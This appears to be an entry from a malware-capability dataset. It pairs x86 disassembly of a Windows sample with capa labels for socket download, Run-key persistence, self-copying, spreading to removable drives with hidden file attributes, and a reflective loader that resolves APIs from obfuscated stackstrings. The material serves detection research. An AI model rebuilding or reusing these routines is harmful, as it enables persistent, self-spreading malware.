joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406c42
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5f4
mov dword [ebp - 0x5f4], ecx
mov dword [ebp - 0x5e4], 0x5dc
mov dword [ebp - 4], 0
push 0x40f444
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 8
mov dword [ebp - 0x5f0], eax
cmp dword [ebp - 0x5f0], 0
jne 0x406c8b
or eax, 0xffffffff
jmp 0x406d33
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x5ec], ecx
cmp dword [ebp - 0x5ec], 0xffffffff
jne 0x406ca5
or eax, 0xffffffff
jmp 0x406d33
mov dword [ebp - 0x5e8], 0
mov dword [ebp - 4], 0
push 0
mov edx, dword [ebp - 0x5e4]
push edx
lea eax, [ebp - 0x5e0]
push eax
mov ecx, dword [ebp - 0x5ec]
push ecx
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 0x5e8], eax
cmp dword [ebp - 0x5e8], 0xffffffff
jne 0x406ce7
or eax, 0xffffffff
jmp 0x406d33
mov edx, dword [ebp - 0x5f0]
push edx
mov eax, dword [ebp - 0x5e8]
push eax
push 1
lea ecx, [ebp - 0x5e0]
push ecx
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0x5e8]
mov dword [ebp - 4], edx
cmp dword [ebp - 0x5e8], 0
jg 0x406d1e
jmp 0x406d20
jmp 0x406cb6
mov eax, dword [ebp - 0x5f0]
push eax
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 8

Function at 0x4070c3
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0x14], ecx
cmp dword [ebp + 0x10], 0
jg 0x4070d9
xor al, al
jmp 0x4071b9
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x14]
add ecx, 0x190
push ecx
call sub.MSVCRT.dll_strcpy
add esp, 8
mov edx, dword [ebp + 8]
push edx
call sub.MSVCRT.dll_strlen
add esp, 4
cmp eax, 0x200
jbe 0x407109
xor al, al
jmp 0x4071b9
mov eax, dword [ebp + 8]
push eax
call sub.MSVCRT.dll_strlen
add esp, 4
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x14]
add edx, 0x190
push edx
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0xc
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x4071a5
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x407157
xor al, al
jmp 0x4071b9
mov dword [ebp - 0xc], 0
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0xc]
mov ecx, dword [ebp - 0xc]
cmp dword [eax + ecx*4], 0
je 0x407178
mov edx, dword [ebp - 0xc]
add edx, 1
mov dword [ebp - 0xc], edx
jmp 0x40715e
push 0
call dword [sym.imp.MSVCRT.dll_time]
add esp, 4
push eax
call dword [sym.imp.MSVCRT.dll_srand]
add esp, 4
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0xc]
mov edx, dword [ebp - 0x10]
mov eax, dword [ecx + edx*4]
mov ecx, dword [eax]
mov dword [ebp - 4], ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov ecx, dword [ebp - 0x14]
call fcn.004071bf
mov esp, ebp
pop ebp
ret 0xc
Function at 0x407512
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov eax, dword [ebp - 0xc]
cmp dword [eax + 0x18c], 0xffffffff
jne 0x40752b
xor al, al
jmp 0x407589
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0x18c]
push ecx
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 8], eax
cmp dword [ebp + 0x14], 0
je 0x407566
mov edx, dword [ebp + 0x14]
mov eax, dword [ebp - 8]
mov dword [edx], eax
cmp dword [ebp - 8], 0xffffffff
je 0x407572
cmp dword [ebp - 8], 0
jne 0x407587
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x407583
mov al, 1
jmp 0x407589
xor al, al
jmp 0x407589
mov al, 1
mov esp, ebp
pop ebp
ret 0x10

Function at 0x40758f
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov eax, dword [ebp - 0xc]
cmp dword [eax + 0x18c], 0xffffffff
jne 0x4075a8
xor al, al
jmp 0x4075fd
mov dword [ebp - 4], 0
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0x18c]
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 4], eax
cmp dword [ebp + 0x10], 0
je 0x4075da
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp - 4]
mov dword [edx], eax
cmp dword [ebp - 4], 0xffffffff
je 0x4075e6
cmp dword [ebp - 4], 0
jne 0x4075fb
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x4075f7
mov al, 1
jmp 0x4075fd
xor al, al
jmp 0x4075fd
mov al, 1
mov esp, ebp
pop ebp
ret 0xc

Function at 0x407963
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40bfa2
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ecx
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x14]
mov dword [eax], 0x40d444
mov dword [ebp - 4], 0
mov ecx, dword [0x40fb54]
mov edx, dword [ecx + 0xe94]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x14]
xor ecx, ecx
mov cl, byte [eax + 0x24]
test ecx, ecx
je 0x4079da
mov edx, dword [ebp - 0x14]
mov byte [edx + 0x24], 0
mov ecx, dword [ebp - 0x14]
add ecx, 0xc
call fcn.00407d13
push 1
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
jmp 0x4079e2
mov dword [ebp - 4], 0
call fcn.00407a3d
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x14]
add ecx, 0xc
call fcn.00407cc6
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x407a6c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40bfac
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x18]
mov cl, byte [ebp + 8]
mov byte [eax + 8], cl
mov edx, dword [ebp - 0x18]
mov al, byte [ebp + 0xc]
mov byte [edx + 0x25], al
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x18]
add ecx, 0x20
push ecx
push 0
mov edx, dword [ebp - 0x18]
push edx
push 0x407be3
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x18]
mov dword [ecx + 0x1c], eax
mov edx, dword [ebp - 0x18]
cmp dword [edx + 0x1c], 0
je 0x407aeb
mov ecx, dword [ebp - 0x18]
add ecx, 0xc
call fcn.00407ce8
mov eax, dword [ebp - 0x18]
mov byte [eax + 0x24], 1
mov al, 1
jmp 0x407b20
mov ecx, dword [ebp - 0x18]
add ecx, 0xc
call fcn.00407d13
mov ecx, dword [ebp - 0x18]
mov byte [ecx + 0x24], 0
xor al, al
jmp 0x407b20
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x407b58
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40bfb6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ecx
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x14], ecx
mov eax, dword [0x40fb54]
mov ecx, dword [eax + 0xe94]
push ecx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x14]
xor eax, eax
mov al, byte [edx + 0x24]
test eax, eax
je 0x407bbf
mov ecx, dword [ebp - 0x14]
mov byte [ecx + 0x24], 0
mov edx, dword [ebp - 0x14]
mov byte [edx + 0x25], 0
push 1
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
jmp 0x407bd2
xor eax, eax
jmp 0x407bd2
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x408460
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40c086
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x19c
mov dword [ebp - 0x1a8], ecx
mov ecx, dword [ebp - 0x1a8]
call fcn.004062b0
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x1a8]
add ecx, 0x198
call fcn.00408b60
mov byte [ebp - 4], 1
lea eax, [ebp - 0x1a0]
push eax
mov ecx, dword [ebp - 0x1a8]
add ecx, 0xce0
call fcn.00408d50
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x1a4]
push ecx
mov ecx, dword [ebp - 0x1a8]
add ecx, 0xcec
call fcn.00408ef0
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x1a8]
add ecx, 0x11b0
call fcn.00401926
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x1a8]
add ecx, 0x1c20
call fcn.00406720
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x1a8]
add ecx, 0x227c
call fcn.00405470
lea edx, [ebp - 0x19c]
push edx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x1a8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x4094f0
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push edi
mov byte [ebp - 0x118], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x117]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push str.advapi32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x14], eax
push str.RegSetValueExA
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x11c], eax
mov dword [ebp - 0x10], str.SoftwareMicrosoftWindowsCurrentVersionRun
lea ecx, [ebp - 0x128]
push ecx
push 0x20006
push 0
mov edx, dword [ebp - 0x10]
push edx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40958f
push 0x104
mov eax, dword [ebp + 8]
push eax
push 1
push 0
push str.winmcs
mov ecx, dword [ebp - 0x128]
push ecx
call dword [ebp - 0x11c]
mov edx, dword [ebp - 0x128]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x40a31b
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
mov dword [ebp - 0x428], ecx
mov eax, dword [ebp - 0x428]
add eax, 4
mov dword [ebp - 0x218], eax
mov dword [ebp - 0x214], 0x40a682
mov ecx, dword [ebp - 0x214]
mov dword [ebp - 0x214], ecx
mov dword [ebp - 0x210], 0
mov dword [ebp - 0x20c], 0
lea edx, [ebp - 0x218]
push edx
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
test eax, eax
jne 0x40a39f
mov eax, dword [ebp - 0x428]
cmp dword [eax + 0x224], 0
je 0x40a39f
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x424], eax
mov ecx, dword [ebp - 0x428]
mov dword [ecx + 0x224], 0
push 0x104
lea edx, [ebp - 0x104]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0x40f5bc
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ecx, dword [ebp - 0x428]
cmp dword [ecx + 0x224], 0
jne 0x40a3e1
mov ecx, dword [ebp - 0x428]
call fcn.0040a57f
mov esp, ebp
pop ebp
ret
Function at 0x40a57f
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov dword [ebp - 0x2c], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ecx, dword [ebp - 0x2c]
mov dword [ecx + 0x228], eax
mov edx, dword [ebp - 0x2c]
cmp dword [edx + 0x224], 0
je 0x40a5ad
push 4
mov ecx, dword [ebp - 0x2c]
call fcn.0040a6a8
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [ebp - 0x2c]
push ecx
push 0x40a475
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x40a5e2
jmp 0x40a67e
mov dword [ebp - 4], 0
push 0
push 0
push 0
lea edx, [ebp - 0x28]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40a665
cmp dword [ebp - 4], 0xffffffff
jne 0x40a60a
jmp 0x40a665
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0x464
je 0x40a624
cmp dword [ebp - 0x30], 0x465
je 0x40a63f
jmp 0x40a64f
push 0xea60
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 7
mov ecx, dword [ebp - 0x2c]
call fcn.0040a6a8
jmp 0x40a64f
cmp dword [ebp - 8], 0
je 0x40a64f
push 4
mov ecx, dword [ebp - 0x2c]
call fcn.0040a6a8
lea edx, [ebp - 0x28]
push edx
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x40a5e9
push 0x7530
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret
Function at 0x40b1d0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
xor ecx, ecx
cmp eax, 2
sete cl
mov eax, ecx
pop ebp
ret

Function at 0x40b1e9
Capabilities:
Get storage device properties

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84
push edi
mov eax, dword [str.._]
mov dword [ebp - 0x58], eax
mov cl, byte [0x40f6f0]
mov byte [ebp - 0x54], cl
mov ecx, 0xe
xor eax, eax
lea edi, [ebp - 0x53]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 2
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.MSVCRT.dll_strncat]
add esp, 0xc
push 0
push 0
push 3
push 0
push 3
push connect
lea ecx, [ebp - 0x58]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x40b24c
xor eax, eax
jmp 0x40b29f
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x80], 0x28
push 0
lea edx, [ebp - 0xc]
push edx
mov eax, dword [ebp - 0x80]
push eax
lea ecx, [ebp - 0x84]
push ecx
push 0xc
lea edx, [ebp - 0x18]
push edx
push 0x2d1400
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov dword [ebp - 0x5c], eax
mov ecx, dword [ebp - 0x68]
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 7
jne 0x40b29d
mov eax, 1
jmp 0x40b29f
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x40b308
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 6
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
pop ebp
ret
Function at 0x40b319
Capabilities:
Delete file
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40c2f8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x530
push 0x40fc64
call fcn.0040b2c1
add esp, 4
lea ecx, [ebp - 0x334]
call sub.MFC42.DLL_CFileFind::CFileFind
mov dword [ebp - 4], 0
mov byte [ebp - 0x437], 0x3a
mov byte [ebp - 0x436], 0
mov dword [ebp - 0x114], 0x44
jmp 0x40b37f
mov eax, dword [ebp - 0x114]
add eax, 1
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0x58
jg 0x40b4f8
mov cl, byte [ebp - 0x114]
mov byte [ebp - 0x438], cl
lea edx, [ebp - 0x438]
push edx
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov byte [ebp - 0x10e], 0
push 0x40f6f4
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [ebp - 0x110]
push edx
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.____________________________________________________.exe
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [ebp - 0x110]
push edx
call fcn.0040b1d0
add esp, 4
test eax, eax
jne 0x40b415
lea eax, [ebp - 0x110]
push eax
call fcn.0040b1e9
add esp, 4
test eax, eax
je 0x40b4e8
lea ecx, [ebp - 0x214]
push ecx
lea edx, [ebp - 0x538]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x318]
push eax
lea ecx, [ebp - 0x214]
push ecx
call fcn.0040b6e9
add esp, 8
test eax, eax
je 0x40b4e8
lea edx, [ebp - 0x318]
push edx
lea eax, [ebp - 0x538]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [ebp - 0x538]
push ecx
lea edx, [ebp - 0x318]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x318]
push eax
lea ecx, [ebp - 0x434]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [ebp - 0x434]
push edx
call fcn.0040b308
add esp, 4
push str._________________________________________________________________________________________________________________________________________________________________________.exe
lea eax, [ebp - 0x318]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [ebp - 0x318]
push ecx
call fcn.0040b2e4
add esp, 4
test eax, eax
je 0x40b4c4
lea edx, [ebp - 0x318]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x318]
push eax
push 0x40fc64
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x80
lea ecx, [ebp - 0x318]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40b370
mov dword [ebp - 0x53c], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x334]
call fcn.0040be4c
mov eax, dword [ebp - 0x53c]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x10001260
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov eax, 0x6b
mov word [ebp - 0x24], ax
mov ecx, 0x65
mov word [ebp - 0x22], cx
mov edx, 0x72
mov word [ebp - 0x20], dx
mov eax, 0x6e
mov word [ebp - 0x1e], ax
mov ecx, 0x65
mov word [ebp - 0x1c], cx
mov edx, 0x6c
mov word [ebp - 0x1a], dx
mov eax, 0x33
mov word [ebp - 0x18], ax
mov ecx, 0x32
mov word [ebp - 0x16], cx
mov edx, 0x2e
mov word [ebp - 0x14], dx
mov eax, 0x64
mov word [ebp - 0x12], ax
mov ecx, 0x6c
mov word [ebp - 0x10], cx
mov edx, 0x6c
mov word [ebp - 0xe], dx
xor eax, eax
mov word [ebp - 0xc], ax
mov dword [ebp - 4], 0
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov eax, dword [ebx + 0x28]
test eax, eax
je 0x10001314
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x24]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.100011f0
add esp, 8
cmp eax, 0
mov eax, dword [ebx + 0x10]
mov ebx, dword [ebx]
jne 0x100012ed
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10001320
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x14
push ebp
push edi
mov edi, ecx
mov ebp, edx
test edi, edi
je 0x1000133b
test ebp, ebp
je 0x1000133b
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi + 0x7c], 0
jne 0x10001343
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
mov eax, dword [eax + edi + 0x78]
add eax, edi
push ebx
mov ecx, dword [eax + 0x20]
mov edx, dword [eax + 0x24]
mov ebx, dword [eax + 0x14]
add ecx, edi
mov dword [esp + 0x10], ecx
push esi
mov esi, dword [eax + 0x1c]
mov ecx, ebp
sub ecx, dword [eax + 0x10]
add esi, edi
add edx, edi
mov dword [esp + 0x20], esi
mov dword [esp + 0x1c], edx
mov dword [esp + 0x10], ebx
cmp ecx, ebx
ja 0x10001383
mov eax, dword [esi + ecx*4]
pop esi
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0x14
ret
mov eax, dword [eax + 0x18]
xor esi, esi
mov dword [esp + 0x18], eax
test eax, eax
je 0x100013df
mov ecx, ebx
movzx ebx, word [edx + esi*2]
cmp ebx, ecx
ja 0x100013da
mov eax, dword [esp + 0x14]
mov ecx, ebp
mov eax, dword [eax + esi*4]
add eax, edi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x100013c5
test dl, dl
je 0x100013c1
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x100013c5
add ecx, 2
add eax, 2
test dl, dl
jne 0x100013a5
xor eax, eax
jmp 0x100013ca
sbb eax, eax
or eax, 1
test eax, eax
je 0x100013e9
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x10]
inc esi
cmp esi, eax
jb 0x10001392
pop esi
pop ebx
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
mov eax, dword [esp + 0x20]
pop esi
mov eax, dword [eax + ebx*4]
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0x14
ret
Function at 0x10001400
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x10
push ebx
push edi
mov edi, edx
mov ebx, ecx
call fcn.10001260
test eax, eax
jne 0x10001418
pop edi
pop ebx
add esp, 0x10
ret
push esi
lea edx, [esp + 0xc]
mov ecx, eax
mov dword [esp + 0xc], 0x74726956
mov dword [esp + 0x10], 0x416c6175
mov dword [esp + 0x14], 0x636f6c6c
mov byte [esp + 0x18], 0
call fcn.10001320
mov esi, eax
test esi, esi
jne 0x1000144e
pop esi
pop edi
pop ebx
add esp, 0x10
ret
push 0x40
push 0x3000
push edi
push ebx
call esi
test eax, eax
jne 0x10001468
push 0x40
push 0x3000
push edi
push eax
call esi
pop esi
pop edi
pop ebx
add esp, 0x10
ret
Function at 0x10001560
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x44
push esi
push edi
mov dword [esp + 0x1c], edx
mov edi, ecx
call fcn.10001260
mov esi, eax
test esi, esi
jne 0x1000157e
pop edi
xor eax, eax
pop esi
add esp, 0x44
ret
lea edx, [esp + 0x38]
mov ecx, esi
mov dword [esp + 0x38], 0x64616f4c
mov dword [esp + 0x3c], 0x7262694c
mov dword [esp + 0x40], 0x41797261
mov byte [esp + 0x44], 0
call fcn.10001320
mov dword [esp + 0x18], eax
test eax, eax
je 0x10001576
lea edx, [esp + 0x38]
mov ecx, esi
mov dword [esp + 0x38], 0x65657246
mov dword [esp + 0x3c], 0x7262694c
mov dword [esp + 0x40], 0x797261
call fcn.10001320
mov dword [esp + 0x34], eax
test eax, eax
je 0x10001576
lea edx, [esp + 0x38]
mov ecx, esi
mov dword [esp + 0x38], 0x50746547
mov dword [esp + 0x3c], 0x41636f72
mov dword [esp + 0x40], 0x65726464
mov word [esp + 0x44], 0x7373
mov byte [esp + 0x46], 0
call fcn.10001320
mov dword [esp + 0x28], eax
test eax, eax
je 0x10001576
lea edx, [esp + 0x38]
mov ecx, esi
mov dword [esp + 0x38], 0x4d746547
mov dword [esp + 0x3c], 0x6c75646f
mov dword [esp + 0x40], 0x6e614865
mov dword [esp + 0x44], 0x41656c64
mov byte [esp + 0x48], 0
call fcn.10001320
mov dword [esp + 0x30], eax
test eax, eax
je 0x10001576
mov eax, dword [edi + 0x3c]
push ebx
cmp dword [eax + edi + 0x84], 0
push ebp
je 0x10001745
mov ecx, dword [eax + edi + 0x80]
add ecx, edi
xor esi, esi
lea ebx, [ecx + 0xc]
mov dword [esp + 0x34], ecx
mov dword [esp + 0x10], esi
cmp dword [ebx], esi
je 0x10001745
mov eax, ebx
mov ebp, ecx
mov eax, dword [eax]
add eax, edi
push eax
mov dword [esp + 0x2c], eax
call dword [esp + 0x24]
mov dword [esp + 0x2c], eax
mov eax, dword [ebp]
mov dword [esp + 0x1c], eax
test eax, eax
jne 0x100016a8
mov eax, dword [ebp + 0x10]
mov dword [esp + 0x1c], eax
add eax, edi
mov dword [esp + 0x14], 0
cmp dword [eax], 0
je 0x10001729
mov dword [esp + 0x18], 0
nop
mov eax, dword [eax]
test eax, eax
jns 0x100016cb
movzx esi, ax
jmp 0x100016d0
lea esi, [edi + 2]
add esi, eax
mov ecx, dword [esp + 0x24]
test ecx, ecx
je 0x100016ef
push dword [esp + 0x58]
and eax, 0x80000000
push eax
push esi
push dword [esp + 0x34]
call ecx
mov ecx, eax
test ecx, ecx
jne 0x100016fe
push esi
push dword [esp + 0x30]
call dword [esp + 0x38]
mov ecx, eax
test ecx, ecx
je 0x10001752
mov eax, dword [ebp + 0x10]
add eax, dword [esp + 0x18]
mov dword [eax + edi], ecx
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x1c]
inc ecx
mov dword [esp + 0x14], ecx
shl ecx, 2
add eax, ecx
add eax, edi
mov dword [esp + 0x18], ecx
cmp dword [eax], 0
jne 0x100016c0
mov esi, dword [esp + 0x10]
mov ecx, dword [esp + 0x34]
inc esi
mov dword [esp + 0x10], esi
lea eax, [esi + esi*4]
lea ebp, [ecx + eax*4]
cmp dword [ebp + 0xc], 0
lea eax, [ebp + 0xc]
jne 0x10001685
pop ebp
pop ebx
pop edi
mov eax, 1
pop esi
add esp, 0x44
ret
cmp dword [ebx], 0
je 0x1000177b
mov esi, dword [esp + 0x10]
xor ebp, ebp
lea ecx, [ecx]
cmp ebp, esi
ja 0x1000177b
mov eax, dword [ebx]
add eax, edi
push eax
call dword [esp + 0x3c]
push eax
call dword [esp + 0x40]
add ebx, 0x14
inc ebp
cmp dword [ebx], 0
jne 0x10001760
pop ebp
pop ebx
pop edi
xor eax, eax
pop esi
add esp, 0x44
ret